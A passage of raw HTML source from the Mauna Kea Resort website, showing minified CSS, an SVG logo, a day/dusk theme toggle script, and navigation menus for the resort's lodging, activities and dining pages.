.3s;display:block;position:absolute;top:30px;left:11px;right:11px;height:1px;background-color:currentColor}.nav-toggle>span:before{-webkit-transition-duration:.3s,.3s;-moz-transition-duration:.3s,.3s;transition-duration:.3s,.3s;-webkit-transition-delay:.3s,0s;-moz-transition-delay:.3s,0s;transition-delay:.3s,0s;-webkit-transition-property:top,transform;-moz-transition-property:top,transform;transition-property:top,transform;top:-9px;background-color:currentColor;content:"";display:block;height:1px;left:0;position:absolute;width:100%}.nav-toggle>span:after{-webkit-transition-duration:.3s,.3s;-moz-transition-duration:.3s,.3s;transition-duration:.3s,.3s;-webkit-transition-delay:.3s,0s;-moz-transition-delay:.3s,0s;transition-delay:.3s,0s;-webkit-transition-property:bottom,transform;-moz-transition-property:bottom,transform;transition-property:bottom,transform;bottom:-9px;background-color:currentColor;content:"";display:block;height:1px;left:0;position:absolute;width:100%}.nav-toggle>span>span{display:block;padding-top:15px;text-transform:uppercase;font-size:12px;color:currentColor}.active-nav .nav-toggle>span{background:none}.active-nav .nav-toggle>span:before{-webkit-transform:rotate(45deg);-moz-transform:rotate(45deg);-ms-transform:rotate(45deg);transform:rotate(45deg);top:0}.active-nav .nav-toggle>span:after{-webkit-transform:rotate(-45deg);-moz-transform:rotate(-45deg);-ms-transform:rotate(-45deg);transform:rotate(-45deg);bottom:0}.package-slider{width:415px;min-height:300px}.package-slider .slick-arrow{top:80px}.package-slider .slick-prev{left:0;transform:translate(5px,0%)}.package-slider .slick-prev:hover{transform:translate(0,0%)}.package-slider .slick-next{right:0;transform:translate(-5px,0%)}.package-slider .slick-next:hover{transform:translate(0,0%)}
3430.nav-westin-hapuna-beach-resort .sn-link:hover{text-decoration:none!important;color:#529d6e!important}.nav-westin-hapuna-beach-resort span{display:inline-block;position:relative}.nav-westin-hapuna-beach-resort span:after{-webkit-transition:width .35s;-moz-transition:width .35s;-ms-transition:width .35s;transition:width .35s;content:'';position:absolute;top:calc(100% - 1px);left:0;width:0;height:1px;background-color:#529d6e!important;pointer-events:none}@media screen and (max-width:1023px){.nav-westin-hapuna-beach-resort span:after{content:none}}.nav-on-site-medical-care .sn-link:hover{text-decoration:none!important;color:#529d6e!important}.nav-on-site-medical-care span{display:inline-block;position:relative}.nav-on-site-medical-care span:after{-webkit-transition:width .35s;-moz-transition:width .35s;-ms-transition:width .35s;transition:width .35s;content:'';position:absolute;top:calc(100% - 1px);left:0;width:0;height:1px;background-color:#529d6e!important;pointer-events:none}@media screen and (max-width:1023px){.nav-on-site-medical-care span:after{content:none}}.nav-westin-hapuna-beach-resort .level3 a:hover{color:#529d6e!important}@media(hover:hover){.nav-westin-hapuna-beach-resort .level3 a:hover{color:#529d6e}.nav-westin-hapuna-beach-resort .level3 a:hover::before{background-color:#529d6e}}.primary-nav>li.nav-mauna-kea-beach-hotel{display:none!important}</style> 3431 3432 3433<style> 3434 .MuiPaper-root h6.MuiTypography-root { color: #fff; } 3435 input.MuiInputBase-input[type="text"] { box-sizing: content-box; background: none; } 3436</style> 3437 3438 3439<a href="#main-content" class="ada-hidden skip-nav-link">Skip to main content</a> 3440 3441 3442 3443 3444<header class="site-header" role="banner"> 3445 3446 <style>.hello-bar{background-color:#ff671f;color:#fff;text-align:center;padding:.25em 2em .25em 2em}.hello-bar:focus-visible{outline:none}.hello-bar>.inner{text-align:center;padding:.25em 0}.hello-bar h3{font-size:.9rem;margin:0;line-height:1.25em}@media screen and (max-width:991.98px){.hello-bar h3{margin:0 0 .5em;width:100%}}.hello-bar p{line-height:1.4em}.hello-bar p:last-of-type{margin-bottom:0}.hello-bar a{color:currentColor}.hello-bar a:hover{color:#000}.is-westin .hello-bar{background-color:#529d6e}@media screen and (max-width:767px){.hello-bar br.desk-only{display:none}}.hb-close{position:absolute;top:0;right:.25em}.hb-close i{font-size:1.35rem}.popup-countdown-container{display:flex;align-items:center;justify-content:center}@media screen and (max-width:991.98px){.popup-countdown-container{flex-wrap:wrap}}.popup-countdown-container .countdown #clockdiv{display:flex;gap:1.5rem;margin:0 1.5rem}.popup-countdown-container .countdown .time-item{box-sizing:border-box;text-align:center;position:relative;z-index:2;font-size:10px;display:block;text-align:center;text-transform:uppercase;letter-spacing:2px;line-height:1.6em}.popup-countdown-container .countdown .time-item:last-child{border-right:none;background-repeat:no-repeat}.popup-countdown-container .countdown .time-item>span{font-size:1rem;font-weight:700;letter-spacing:.075em}.popup-countdown-container .cyber-link{display:inline-block;font-size:.75rem;background-color:#000;color:#fff;margin:.5rem 0;padding:.65em 1em;border-radius:2em;white-space:nowrap;text-transform:uppercase}.popup-countdown-container .cyber-link:hover{background-color:#fff;color:#000}</style> 3447 3448 3449 3450 3451 3452
3453<script> 3454 _hdmq.add(function () { 3455 3456 // close hello bar 3457 $('.js-hb-close').on('click', function() { 3458 $('.hello-bar').slideUp(); 3459 }); 3460 3461 }); 3462</script>
3462 3463 3464 3465 3466 3467 3468 <div class="cf inner site-header-inner"> 3469 3470 3471 3472 <div class="site-logo"><a href="/"><svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 501.54 196.46"><title>Mauna Kea Resort</title><path class="sl-1" d="M253.38 0a14.28 14.28 0 0 0-4.3.67 12.48 12.48 0 0 0-7.55 6.22c-5 9.14 1 22.38 9.87 29.18 3.28-8.21 7.64-12.54 11.16-16 1-1 1.88-1.86 2.68-2.76a7.21 7.21 0 0 0 1.75-6.39c-.62-3.87-3.43-7.31-7.71-9.45a12.47 12.47 0 0 0-5.9-1.47ZM253.22 39.5a36.28 36.28 0 0 1 .84 16.6 60.33 60.33 0 0 0-.45 3.58c-.19 3.07.49 5.39 2.08 7.08 2.09 2.23 5.73 3.31 11.12 3.31a12.47 12.47 0 0 0 9.49-4.62 10.18 10.18 0 0 0 2.33-8.53c-1.72-10.32-14.71-15.84-25.3-17.43Z"/><path class="sl-1" d="M251.27 39.69c-6.05 3.56-14.22 4.93-19.66 5.83a9.05 9.05 0 0 0-5.77 5.32 14.92 14.92 0 0 0-.08 12c3.61 6.76 10.37 9.15 16.83 5.92 12.86-6.5 9.86-23.83 8.68-28.99ZM229.51 16.56a12.45 12.45 0 0 0-9.35 4.3 13.94 13.94 0 0 0-4 10.19 12 12 0 0 0 4.48 8.47c2.67 2.47 7.59 3.48 13.84 2.84a46.71 46.71 0 0 0 15.68-4.54c-6.21-4.72-9.76-9.42-11.83-15.65a8.28 8.28 0 0 0-6.58-5.4 11.55 11.55 0 0 0-2.24-.21ZM253.24 37.19a58 58 0 0 1 15.54 4.53c1.26.52 2.46 1 3.69 1.47 2.53 1 5.77.48 8.87-1.34 3.59-2.1 6.1-5.42 6.56-8.67a15.22 15.22 0 0 0-2.75-11.24 11.2 11.2 0 0 0-7.7-4.24c-10.48-.91-20.49 9.14-24.21 19.49Z"/><g><path class="sl-2" d="M427.01 131.26c-.89 0-14.7.48-14.49-2.68.25-3.92 19.8-3.49 23.91-2.7 1.62.31 3.65.91 3.47 2.48s-5.08 2.7-12.89 2.9ZM286.1 136.57c-.66 0-10.83.47-10.68-2.69.19-3.91 14.6-3.49 17.62-2.7 1.2.31 2.69.92 2.56 2.48s-3.74 2.67-9.5 2.91ZM479.81 136.57c-.66 0-10.83.47-10.68-2.69.18-3.91 14.59-3.49 17.62-2.7 1.2.31 2.69.92 2.56 2.48s-3.75 2.67-9.5 2.91Z"/><path class="sl-3" d="M2.86 128.32c1-2.39 1.78-4.84 2.93-7.14 4.95-9.91 17.06-11 24.12-2.41 3.41 4.17 4.94 9.27 7.48 13.87 2.73 5 4.59 5.05 7.44.23 2.27-3.82 4.25-7.81 6.59-11.58 3.19-5.12 7.05-9.17 14-8s9.47 6.23 10.83 12a40.18 40.18 0 0 1 1 15.26c-.27 1.88-.83 3.8-3.29 3.5-2.08-.26-2.35-1.93-2.3-3.74a45.47 45.47 0 0 0-2-15.15c-.81-2.53-1.93-5.23-4.91-5.69-3.29-.51-4.52 2.43-5.75 4.65-2.46 4.46-4.12 9.33-7.06 13.57-6 8.64-13.7 8.65-19.21-.33-2.65-4.32-4.55-9.1-6.83-13.66-1.21-2.45-2.93-5.1-5.66-5-3.1.06-4.42 3.13-5.42 5.8a68.56 68.56 0 0 0-2.93 12.51c-.39 2.41-.77 5.38-2 6.07s-5.08.77-7.26-.19c-3.71-1.62-2.56-4.45-2.18-6.29.48-2.34 1.6-5.41 2.41-8.28ZM341.19 116.84c.13-2.53.83-5.25 4.07-5.14 2.88.09 3.61 3 3.71 5 .06 1.16-.83 6.88 4.83 4.66a147.44 147.44 0 0 1 29-9.41c2.86-.57 5.27-.47 5.92 2.56.75 3.51-2.54 3.36-4.62 3.65a150.58 150.58 0 0 0-23.1 5.25c-1.63.51-4 .94-3.89 3.15.08 1.8 2.21 2.22 3.73 2.8 8.53 3.26 17.53 4.5 26.46 6 1.78.31 4.67.3 4.7 2.49.22 2.73-1.26 4.59-4 5.6-4.1 1.52-7.83-.12-11.6-1.12a99 99 0 0 1-23.11-9.74c-3.56-2-4.17-.87-4.09 2.46a27.18 27.18 0 0 1-.18 5c-.33 2-1.06 3.88-3.65 4-2.83.17-4-1.76-4.12-4-.23-4.01-.25-19.58-.06-23.21ZM199.32 122.41c2.51-8.73 10.34-11.94 18.72-7 6 3.53 9.42 8.72 13.65 14 2.23 2.79 5.23 7.15 9.15 6.22 4.12-1 4.25-5.87 4.51-9.32.28-3.91-.06-6.6 0-9.91 0-1.67.32-2.95 2.32-3.12a2.83 2.83 0 0 1 3.27 2.34c1.72 6.76 3.29 13.55 1 20.49-2.47 7.6-10.71 10.25-18.36 5.94-5.68-3.2-9.24-8.41-12.87-13.55-1.71-2.43-3.32-4.93-5.12-7.29-1.42-1.87-3-3.26-5.8-3-2.1.22-4 2.08-4.54 5.74s-.21 9.83.07 15.2c.1 1.92.57 4.36-2.15 4.82s-3.39-1.77-4.12-3.92c-.96-2.79-1.71-10.79.27-17.64ZM501.45 143.26c-.3.94-1.38 1.07-3.2 1.07s-2.47-1.53-2.57-2.87c-.38-5.26-.72-10.52-2.78-15.5-2.22-5.38-6.06-8.41-12-8.85s-10.21 2.34-12.94 7.39a33.2 33.2 0 0 0-4.1 16.1c0 2.8-1.36 4.11-3.81 4-2.25 0-4.66-.34-5.4-3.32-2.31-9.26 6.24-23.64 15.39-27.88 11.85-5.48 27.15 1.58 30.47 16.61.62 2.91 1.32 11.92.94 13.25Z"/><path class="sl-4" d="M189.38 118.36c-.38 14.35-9.25 24.8-21.51 25.75a23.78 23.78 0 0 1-25.29-26.69c.35-3 1.84-4.52 4.82-4.32s5.21 1.34 5 4.81a23.62 23.62 0 0 0 2.28 11c2.1 4.75 5.35 8.12 11.06 8.49 6.54.43 11.65-1.55 14.93-7.47a27.37 27.37 0 0 0 3-11.34c.18-2.22-.8-5.63 3.2-5.38 2.85.2 2.48 3.42 2.51 5.15Z"/><path class="sl-5" d="M427.73 144.59c-9 0-16.47-1.26-22.91-5.92-9.71-7-9-16.33 1.42-22.34 8.74-5 19.68-4.69 27.55-3.52a49.72 49.72 0 0 1 6.75 1.48c1.18.37 2.41.94 2.17 2.43s-1.42 1.88-2.94 1.64c-2.77-.43-5.51-1.14-8.3-1.42-7.82-.81-14.18.92-16.67 2.15-4 2-6.82 4.61-6.89 8.79s2.76 6.64 6 8.42c7.49 4.08 15.59 3.68 23.7 2.62.81-.1 1.88-.38 2.69-.49 1.76-.25 2.91.59 3 2.18.11 1.3-1.28 2.14-2.66 2.49a58.33 58.33 0 0 1-12.91 1.49ZM133.69 138.64a15 15 0 0 1 .06 2.21c-.05 1-.2 3.13-2.41 3.22a2.5 2.5 0 0 1-2.78-2.79 32.06 32.06 0 0 0-1.73-10.69c-2.44-7.89-7.59-11.49-15.86-11.22-6.36.2-11.45 4.73-13.18 12a32.22 32.22 0 0 0-1.08 7.79c0 3.88-2.42 4.85-5.38 4.9-3.16.05-4-2-3.78-5 .73-9 3.43-17.2 11.21-22.57 9.72-6.72 28.06-4.73 32.85 11.5a57.83 57.83 0 0 1 2.08 10.65Z"/><path class="sl-4" d="M307.51 137.55c0 1.63.05 2.62 0 3.61-.09 1.42-.67 2.7-2.19 2.88a2.63 2.63 0 0 1-3-2.67 36 36 0 0 0-2.34-9.59c-2.72-7.16-8.27-11.14-14.86-11s-11.25 4-14 11.35a51.54 51.54 0 0 0-2.26 9.06c-.27 1.44-.9 3.08-2.85 2.83a2.74 2.74 0 0 1-2.33-2.86c.09-9.1 1.06-18.16 9-24.12 7.18-5.42 15.49-5.68 23.38-1.58 8.98 4.74 10.76 13.57 11.45 22.09Z"/><path class="sl-2" d="M112.97 136.57c-.66 0-10.83.47-10.68-2.69.18-3.91 14.59-3.49 17.62-2.7 1.2.31 2.69.92 2.56 2.48s-3.75 2.67-9.5 2.91Z"/></g><g><path class="sl-6" d="m186.45 195.99-4.18-7.3a3.62 3.62 0 0 1-.46 0h-5.84v7.28h-3.17v-18.54h8.87q7.46 0 7.46 5.64a4.84 4.84 0 0 1-3.64 5l4.68 7.93Zm-5-9.95a6.07 6.07 0 0 0 3.32-.73 2.56 2.56 0 0 0 1.08-2.26 2.52 2.52 0 0 0-1-2.25 6.13 6.13 0 0 0-3.32-.69h-5.54v5.93ZM201.61 195.99v-18.56h15.13v2.83h-11.83v4.84h11.26v2.78h-11.26v5.38h12.4l-.47 2.78ZM242.23 182.55a4.67 4.67 0 0 0-1.09-1.74 4.17 4.17 0 0 0-1.69-.94 9.56 9.56 0 0 0-2.53-.28 9.17 9.17 0 0 0-3.87.66 2.07 2.07 0 0 0-1.38 1.91 2 2 0 0 0 .9 1.77 8.3 8.3 0 0 0 3.13.94l3.85.5
34727a9.3 9.3 0 0 1 4.77 1.83 4.66 4.66 0 0 1 1.52 3.68 4.57 4.57 0 0 1-2.25 4.07 11.66 11.66 0 0 1-6.3 1.44q-4.43 0-6.7-1.53a6.33 6.33 0 0 1-2.66-4.76h3.33a3.8 3.8 0 0 0 1.78 2.79 8.24 8.24 0 0 0 4.25.88 8 8 0 0 0 3.86-.76 2.34 2.34 0 0 0 1.34-2.13 2.08 2.08 0 0 0-.92-1.79 6.77 6.77 0 0 0-2.88-.94l-3.33-.49a16.28 16.28 0 0 1-4.08-1.07 4.84 4.84 0 0 1-2.18-1.75 5 5 0 0 1-.65-2.65 4.36 4.36 0 0 1 2.25-3.89 12.08 12.08 0 0 1 6.31-1.39 13.58 13.58 0 0 1 4.18.55 6.21 6.21 0 0 1 2.72 1.66 6.81 6.81 0 0 1 1.49 2.91ZM278.03 186.71a10.09 10.09 0 0 1-1.27 5.11 8.57 8.57 0 0 1-3.65 3.42 13.63 13.63 0 0 1-11.14.06 8.47 8.47 0 0 1-3.69-3.36 11 11 0 0 1-.05-10.34 8.63 8.63 0 0 1 3.65-3.42 12.28 12.28 0 0 1 5.64-1.22 12.46 12.46 0 0 1 5.5 1.16 8.43 8.43 0 0 1 3.69 3.37 10 10 0 0 1 1.32 5.22Zm-3.41 0a6.93 6.93 0 0 0-1.86-5.15 8.41 8.41 0 0 0-10.5 0 8 8 0 0 0 0 10.3 8.37 8.37 0 0 0 10.5 0 6.87 6.87 0 0 0 1.86-5.15ZM303.98 195.99l-4.18-7.3a3.62 3.62 0 0 1-.46 0h-5.84v7.28h-3.17v-18.54h8.87q7.46 0 7.46 5.64a4.84 4.84 0 0 1-3.64 5l4.68 7.93Zm-5-9.95a6.07 6.07 0 0 0 3.32-.73 2.94 2.94 0 0 0 .05-4.51 6.13 6.13 0 0 0-3.32-.69h-5.54v5.93ZM324.7 195.99v-15.73h-7.48v-2.78h18.28v2.78h-7.49v15.78Z"/></g></svg></a></div> 3473 3474 3475 <nav class="mobile-utility"> 3476 </nav> 3477 3478 <div class="nav-panel"> 3479 <nav class="utility"> 3480 <ul class="unstyled-list utility-nav"> 3481 <li class="un-ww"> 3482 <div class="weather-widget"> 3483 3484 <img class="weather-icon" src="/images/layout/icons/weather/nfew.svg" alt="today's weather" /> 3485 <span class="high">82°F</span> 3486 <span class="pipe">|</span> 3487 <span class="low">27°C</span> 3488 </div> 3489 </li> 3490 3491 <li class="un-tt"> 3492 <style>body.theme-loading{overflow:hidden}.theme-overlay{position:fixed;top:0;left:0;z-index:111;width:100%;height:100%;background-color:rgba(255,103,31,.8);color:#fff;display:flex;align-items:center;justify-content:center;opacity:0;pointer-events:none;transition:opacity .6s ease}.dusk-active .theme-overlay{background-color:rgba(24,36,64,.8)}.theme-overlay .icon{display:block;width:40px;height:40px;margin:0 auto .5em;transform:scale(4);opacity:0;transition:opacity 1s ease,transform 1s ease}.theme-overlay .icon .plumeria-1{fill:currentColor}.theme-overlay .icon svg{width:100%;height:100%}.theme-loading .theme-overlay .icon{opacity:1;transform:scale(1) rotate(180deg)}.theme-overlay .theme-caption{font-family:"Kristabelle",cursive;font-size:3vw;line-height:2.4em;padding:0 1em;clip-path:polygon(0 0,0 0,0 100%,0 100%);transition:clip-path .75s ease-out 1s}@media screen and (max-width:767px){.theme-overlay .theme-caption{font-size:8vw}}.theme-loading .theme-overlay .theme-caption{clip-path:polygon(0 0,100% 0%,100% 100%,0 100%)}.theme-loading .theme-overlay{pointer-events:auto;opacity:1}.theme-toggle{position:relative;z-index:2;border:1px solid #ff671f;border-radius:1.25em;padding:1px;display:flex}@media screen and (max-width:767px){.theme-toggle{padding:0}}.theme-toggle button{font-family:"Lora",serif;font-size:.7rem;padding:.45em .55em;color:currentColor;border-radius:1.25em}.theme-toggle button:hover{color:#ff671f}@media screen and (max-width:767px){.mobile-utility .theme-toggle button{padding:0 .6rem;height:32px}}.theme-toggle .tt-bg{box-sizing:border-box;position:absolute;top:1px;left:1px;z-index:-1;padding:.45em 1.675em;color:currentColor;border-radius:1.25em;background-color:#ff671f;color:#fff;pointer-events:none;cursor:default;height:calc(100% - 2px);transition:left .35s ease-out}@media screen and (max-width:767px){.theme-toggle .tt-bg{padding:.45em 1.4em}}.dawn-active .theme-toggle [data-theme="dawn"]{color:#fff}.dawn-active .theme-toggle .tt-bg{left:1px}.dusk-active .theme-toggle [data-theme="dusk"]{color:#fff}.dusk-active .theme-toggle .tt-bg{left:calc(50% - 3px)}@media screen and (max-width:767px){.dusk-active .theme-toggle .tt-bg{left:50%}}</style> 3493 3494<div class="theme-toggle"> 3495 <button class="js-btn-theme" data-theme="dawn">Dawn</button> 3496 <button class="js-btn-theme" data-theme="dusk">Dusk</button> 3497 <div class="tt-bg"></div> 3498</div> 3499 3500<div class="theme-overlay"> 3501 <div> 3502 <div class="icon"><svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 71.94 70.13">
3502<path class="plumeria-1" d="M37.28 0c-1.42 0-2.88.22-4.3.67-3.41 1.08-6.09 3.29-7.55 6.22-5.02 9.14 1.02 22.37 9.87 29.17 3.28-8.21 7.64-12.54 11.16-16.02.97-.96 1.88-1.87 2.68-2.76 1.53-1.53 2.17-3.86 1.76-6.4-.63-3.87-3.44-7.31-7.71-9.45-1.77-.95-3.8-1.44-5.9-1.44ZM37.12 39.49c2.08 8.15 1.45 12.45.84 16.61-.18 1.21-.34 2.34-.45 3.57-.19 3.07.49 5.39 2.08 7.08 2.09 2.23 5.73 3.31 11.13 3.31 3.57 0 7.12-1.73 9.49-4.62 2.09-2.55 2.91-5.58 2.32-8.53-1.72-10.32-14.7-15.84-25.3-17.43h-.1Z"/><path class="plumeria-1" d="M35.16 39.68c-6.04 3.57-14.21 4.93-19.66 5.84-3.16.84-4.89 3.36-5.77 5.32-1.69 3.75-1.72 8.66-.08 11.95 3.61 6.76 10.37 9.15 16.83 5.92 12.91-6.46 9.91-23.78 8.68-28.94v-.08ZM13.41 16.56c-3.51 0-7.01 1.57-9.35 4.3C1.24 23.91-.2 27.53.02 31.05c.2 3.23 1.75 6.16 4.47 8.47 2.68 2.47 7.59 3.48 13.84 2.84 5.33-.54 11.16-2.24 15.68-4.55-6.21-4.72-9.75-9.42-11.83-15.65-.93-2.79-3.33-4.76-6.57-5.4-.73-.14-1.46-.21-2.2-.21ZM37.13 37.19c7.24 1.06 11.65 2.9 15.54 4.53 1.26.53 2.46 1.02 3.69 1.47 2.54.98 5.77.49 8.88-1.34 3.58-2.1 6.1-5.42 6.56-8.67.53-4.23-.47-8.33-2.76-11.25-1.88-2.4-4.54-3.87-7.69-4.24-10.48-.91-20.5 9.15-24.22 19.49Z"/></svg></div> 3503 <div class="theme-caption">wana'ao</div> 3504 </div> 3505</div> 3506 3507 3508 3509
3510<script> 3511 _hdmq.add(function() { 3512 const docBody = document.querySelector('body'); 3513 docBody.classList.remove('dawn-active'); 3514 docBody.classList.add('dusk-active'); 3515 let videoSrc = $('#footer-video').data('dusk-src'); 3516 $('#footer-video').find('source').attr('src', videoSrc); 3517 $('#footer-video')[0].load(); 3518 }); 3519</script>
3519 3520 3521 3522 </li> 3523 3524 <li><a href="/mauna-kea-beach-hotel/take-a-tour">Take a Tour</a></li> 3525 <li><a href="/special-offers">Specials</a></li> 3526 <li><a href="/the-club">The Club</a></li> 3527 <li><a href="tel:1-877-880-6524">877.880.6524</a></li> 3528 </ul> 3529 </nav> 3530 <nav class="site-nav" role="navigation"> 3531 <ul id="menubar1" hdmtype="navpackages" class="unstyled-list primary-nav level1"> 3532<li data-pid="655" class="nav-home"><a href="https://www.maunakearesort.com/home" class="pn-link" aria-haspopup="true" aria-expanded="false" ><span>Home</span></a> 3533</li><li data-pid="3" class="nav-stay"><a href="https://www.maunakearesort.com/stay/" class="pn-link" aria-haspopup="true" aria-expanded="false" ><span>Stay</span></a> 3534<div class="dd-nav"><div class="dd-nav-inner"><div class="col col-1"><div class="subnav-menu"><ul class="unstyled-list subnav level2"> 3535<li class="nav-mauna-kea-beach-hotel"><a href="https://www.maunakearesort.com/stay/mauna-kea-beach-hotel/" class="sn-link" ><span>Mauna Kea Beach Hotel</span></a> 3536<ul class="unstyled-list level3"> 3537<li><a href="https://www.maunakearesort.com/stay/mauna-kea-beach-hotel/renovation" >Renovation</a> 3538</li></ul> 3539</li><li class="nav-westin-hapuna-beach-resort"><a href="https://www.maunakearesort.com/stay/westin-hapuna-beach-resort" class="sn-link" ><span>The Westin Hapuna Beach Resort</span></a> 3540</li><li class="nav-mauna-kea-residences"><a href="https://www.maunakearesort.com/stay/mauna-kea-residences" class="sn-link" ><span>Mauna Kea Residences</span></a> 3541</li><li class="nav-specials-and-packages"><a href="https://www.maunakearesort.com/stay/specials-and-packages" class="sn-link" ><span>Specials & Packages</span></a> 3542</li><li class="nav-photo-video-gallery"><a href="https://www.maunakearesort.com/stay/photo-video-gallery" class="sn-link" ><span>Take a Tour</span></a> 3543</li><li class="nav-on-site-medical-care"><a href="https://www.maunakearesort.com/stay/on-site-medical-care" class="sn-link" ><span>On-Site Medical Care</span></a> 3544</li><li class="nav-accessible-rooms"><a href="https://www.maunakearesort.com/stay/accessible-rooms" class="sn-link" ><span>Accessible Rooms</span></a> 3545</li><li class="nav-laundry-valet"><a href="https://www.maunakearesort.com/stay/laundry-valet" class="sn-link" ><span>Laundry Valet</span></a> 3546</li></ul> 3547</div></div><div class="col col-2"></div></div></div></li><li data-pid="4" class="nav-play"><a href="https://www.maunakearesort.com/play/" class="pn-link" aria-haspopup="true" aria-expanded="false" ><span>Play</span></a> 3548<div class="dd-nav"><div class="dd-nav-inner"><div class="col col-1"><div class="subnav-menu"><ul class="unstyled-list subnav level2"> 3549<li class="nav-resort-happenings"><a href="https://www.maunakearesort.com/play/resort-happenings/" class="sn-link" ><span>Resort Happenings</span></a> 3550<ul class="unstyled-list level3"> 3551<li><a href="https://www.maunakearesort.com/play/resort-happenings/event-calendar" >Event Calendar</a> 3552</li><li><a href="https://www.maunakearesort.com/play/resort-happenings/luau" >Mauna Kea Luau</a> 3553</li><li><a href="https://www.maunakearesort.com/play/resort-happenings/webcam" >Live Webcam View</a> 3554</li><li><a href="https://www.maunakearesort.com/play/resort-happenings/interactive-map" >Interactive Map</a> 3555</li></ul> 3556</li><li class="nav-activities"><a href="https://www.maunakearesort.com/play/activities/" class="sn-link" ><span>Activities</span></a> 3557<ul class="unstyled-list level3"> 3558<li><a href="https://www.maunakearesort.com/play/activities/resort-retail" >Resort Retail</a> 3559</li><li><a href="https://www.maunakearesort.com/play/activities/beach-and-pool" >Beach & Pool </a> 3560</li><li><a href="https://www.maunakearesort.com/play/activities/tennis" >Tennis & Pickleball</a> 3561</li><li><a href="https://www.maunakearesort.com/play/activities/bocce-ball" >Bocce Ball</a> 3562</li><li><a href="https://www.maunakearesort.com/play/activities/kids-programs" >Kids Programs</a> 3563</li><li><a href="https://www.maunakearesort.com/play/activities/online-shopping" target='_blank'>Online Shopping</a> 3564</li></ul> 3565</li><li class="nav-wellness"><a href="https://www.maunakearesort.com/play/wellness/" class="sn-link" ><span>Wellbeing</span></a> 3566<ul class="unstyled-list level3"> 3567<li><a href="https://www.maunakearesort.com/play/wellness/spa-salon" >Spa & Salon</a> 3568</li><li><a href="https://www.maunakearesort.com/play/wellness/fitness" >Fitness</a> 3569</li></ul> 3570</li><li class="nav-cultural-activities"><a href="https://www.maunakearesort.com/play/cultural-activities" class="sn-link" ><span>Cultural Activities</span></a> 3571</li><li class="nav-live-webcams"><a href="https://www.maunakearesort.com/play/live-webcams" class="sn-link" target='_blank'><span>Live Webcams</span></a> 3572</li><li class="nav-island-activities"><a href="https://www.maunakearesort.com/play/island-activities" class="sn-link" ><span>Island Activities</span></a> 3573</li><li class="nav-tesla-experience"><a href="https://www.maunakearesort.com/play/tesla-experience" class="sn-link" ><span>Tesla Experience</span></a> 3574</li><li class="nav-gopro-experience"><a href="https://www.maunakearesort.com/play/gopro-experience" class="sn-link" ><span>GoPro Experience</span></a> 3575</li><li class="nav-beach-and-pool"><a href="https://www.maunakearesort.com/play/beach-and-pool" class="sn-link" ><span>Beach & Pool</span></a> 3576</li></ul> 3577</div></div><div class="col col-2"><div class="subnav-promo"><figure class="caption-grad"><div class="subnav-promo-img"><img data-lazy-src="/images/content/navpackages/play.jpg?042088944173523446" alt="Adventure Awaits" class="object-fit"></div><figcaption>Adventure Awaits</figcaption></figure><p><span data-teams="true"><span class="ui-provider a b c d e f g h i j k l m n o p q r s t u v w x y z ab ac ae af ag ah ai aj ak" dir="ltr">Discover events and activities to make the most of your stay on our island home.</span></span></p><p><a gaq='Nav,Promo-AdventureAwaits' href="https://maunakearesort.com/play/" class="lm">Learn more</a></p></div></div></div></div></li><li data-pid="5" class="nav-dine"><a href="https://www.maunakearesort.com/dine/" class="pn-link" aria-haspopup="true" aria-expanded="false" ><span>Dine</span></a> 3578<div class="dd-nav"><div class="dd-nav-inner"><div class="col col-1"><div class="subnav-menu"><ul class="unstyled-list subnav level2"> 3579<li class="nav-overview"><a href="https://www.maunakearesort.com/dine/overview" class="sn-link" ><span>Overview</span></a> 3580</li><li class="nav-signature"><a href="https://www.maunakearesort.com/dine/signature/" class="sn-link" ><span>Signature</span></a> 3581<ul class="unstyled-list level3"> 3582<li><a href="https://www.maunakearesort.com/dine/signature/manta" >Manta</a> 3583</li><li><a href="https://www.maunakearesort.com/dine/signature/meridia" >Meridia</a> 3584</li><li><a href="https://www.maunakearesort.com/dine/signature/mauna-kea-luau" >The Mauna Kea Luau</a> 3585</li></ul> 3586</li><li class="nav-quick"><a href="https://www.maunakearesort.com/dine/quick/" class="sn-link" ><span>Quick</span></a> 3587<ul class="unstyled-list level3"> 3588<li><a href="https://www.maunakearesort.com/dine/quick/mauna-kea-market" >Mauna Kea Market</a> 3589</li><li><a href="https://www.maunakearesort.com/dine/quick/plumeria-market" >Plumeria Market</a> 3590</li><li><a href="https://www.maunakearesort.com/dine/quick/piko" >Piko Coffee + Bar</a> 3591</li></ul> 3592</li><li class="nav-casual"><a href="https://www.maunakearesort.com/dine/casual/" class="sn-link" ><span>Casual</span></a> 3593<ul class="unstyled-list level3"> 3594<li><a href="https://www.maunakearesort.com/dine/casual/copper-bar" >Copper Bar</a> 3595</li><li><a href="https://www.maunakearesort.com/dine/casual/hau-tree" >Hau Tree</a> 3596</li><li><a href="https://www.maunakearesort.com/dine/casual/ikena-landing" >
3596Ikena Landing</a> 3597</li><li><a href="https://www.maunakearesort.com/dine/casual/naupaka-beach-grill" >Naupaka Beach Grill</a> 3598</li><li><a href="https://www.maunakearesort.com/dine/casual/islander-sake-brewery" >Islander Sake Brewery</a> 3599</li><li><a href="https://www.maunakearesort.com/dine/casual/manta-breakfast" >Manta Breakfast </a> 3600</li></ul> 3601</li><li class="nav-in-room-dining"><a href="https://www.maunakearesort.com/dine/in-room-dining/" class="sn-link" ><span>In-Room Dining</span></a> 3602<ul class="unstyled-list level3"> 3603<li><a href="https://www.maunakearesort.com/dine/in-room-dining/mauna-kea-beach-hotel" >Mauna Kea Beach Hotel</a> 3604</li><li><a href="https://www.maunakearesort.com/dine/in-room-dining/the-westin-hapuna-beach-resort" >The Westin Hapuna Beach Resort</a> 3605</li></ul> 3606</li><li class="nav-private-dining"><a href="https://www.maunakearesort.com/dine/private-dining" class="sn-link" ><span>Private Dining</span></a> 3607</li></ul> 3608</div></div><div class="col col-2"><div class="subnav-promo"><figure class="caption-grad"><div class="subnav-promo-img"><img data-lazy-src="/images/content/navpackages/luau-415x210.jpg?08021080155647267" alt="Experience A Kohala Coast Tradition" class="object-fit"></div><figcaption>Experience A Kohala Coast Tradition</figcaption></figure><p>The Mauna Kea Hawaiian LÅ«‘au completes the experience with a taste of culture shared by means of music, food, and family tradition on the Island of Hawai‘i. </p><p><a gaq='Nav,Promo-ExperienceAKohalaCoastTradition' href="/dine/signature/mauna-kea-luau" class="lm">Book Now</a></p></div></div></div></div></li><li data-pid="6" class="nav-gather"><a href="https://www.maunakearesort.com/gather/" class="pn-link" aria-haspopup="true" aria-expanded="false" ><span>Gather</span></a> 3609<div 